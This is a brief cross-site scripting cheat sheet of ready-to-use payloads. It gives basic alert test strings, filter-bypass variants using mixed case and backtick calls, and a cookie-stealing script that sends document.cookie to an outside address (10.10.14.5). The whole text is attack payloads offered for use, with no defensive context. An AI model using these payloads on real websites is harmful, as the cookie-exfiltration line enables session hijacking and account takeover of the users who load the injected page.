Cross-Site Scripting (XSS)

Test Payloads

<script>alert(1)</script> # Basic script tag payload
<img src=x onerror=alert(1)> # Image tag with onerror event
<svg onload=alert(1)> # SVG tag with onload event

Cookie Stealing

<script>new Image().src='http://10.10.14.5/?c='+document.cookie</script> # Steal cookies via image request

Filter Bypass

<ScRiPt>alert(1)</ScRiPt> # Bypass case-sensitive filters
<img src=x onerror=alert`1`> # Bypass parenthesis filters